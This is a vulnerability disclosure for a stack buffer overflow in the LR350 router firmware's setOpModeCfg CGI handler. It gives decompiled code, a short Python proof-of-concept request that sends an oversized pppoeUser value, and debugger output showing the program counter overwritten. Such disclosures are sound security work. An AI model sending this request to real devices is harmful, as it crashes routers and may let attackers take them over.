LR350 - bof - setOpModeCfg

Hi, we found a post-authentication stack buffer overflow at **LR350** (Firmware version **V9.3.5u.6369_B20220309**), and contact you at the first time.

In function **setOpModeCfg** of the file **/cgi-bin/cstecgi.cgi** , the size of **pppoeUser** is not checked, and directly copy to stack via **sprintf**

```
224  v13 = websGetVar(a1, "pppoeUser", "");
225  nvram_set("wan_pppoe_username", v13);
226  v14 = websGetVar(a1, "pppoePass", "");
227  nvram_set("wan_pppoe_passwd", v14);
228  v15 = websGetVar(a1, "pppoeMtu", "1492");
229  nvram_set("wan_pppoe_mtu", v15);
230  v16 = websGetVar(a1, "pppoeServiceName", "");
231  nvram_set("wan_pppoe_service", v16);
232  v17 = websGetVar(a1, "pppoeAcName", "");
233  nvram_set("wan_pppoe_ac", v17);
234  v18 = atoi(v12);
235  if ( v18 )
236  {
237    switch ( v18 )
238    {
239      case 1:
240        sprintf(v66, "\\n\\r%s", v13);
241        nvram_set("wan_pppoe_username_mm", v66);
242        break;
243      case 2:
244        sprintf(v66, "^^%s", v13);
245        nvram_set("wan_pppoe_username_mm", v66);
246        break;
247      case 3:
```

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setOpModeCfg", "proto" : "3",
"switchOpMode" : "1", "pppoeSpecType" : "2", "pppoeUser" : "a"*0x1000}
response = requests.post(url, cookies=cookie, json=data) print(response.text)
print(response)
```

```
T1    0x0
T2    0x1
T3    0x77b6acab  ← 0x706d7400
T4    0x80000000
T5    0x800
T6    0x81000000
T7    0x8
T8    0x8
T9    0x77b67058  ← lui      $gp, 2
S0    0x61616161 ('aaaa')
S1    0x61616161 ('aaaa')
S2    0x61616161 ('aaaa')
S3    0x61616161 ('aaaa')
S4    0x61616161 ('aaaa')
S5    0x61616161 ('aaaa')
S6    0x61616161 ('aaaa')
S7    0x61616161 ('aaaa')
S8    0x61616161 ('aaaa')
FP    0x7f8785b0  ← 0x61616161 ('aaaa')
SP    0x7f8785b0  ← 0x61616161 ('aaaa')
PC    0x61616161 ('aaaa')

Invalid address 0x61616161
```

```
00:0000| fp sp   0x7f8785b0  ← 0x61616161 ('aaaa')
 ...  ↓
                                                    [
 ►f 0 61616161

Program received signal SIGSEGV (fault address 0x61616160)
pwndbg>
```

The PC register can be hijacked, which means it can result in RCE.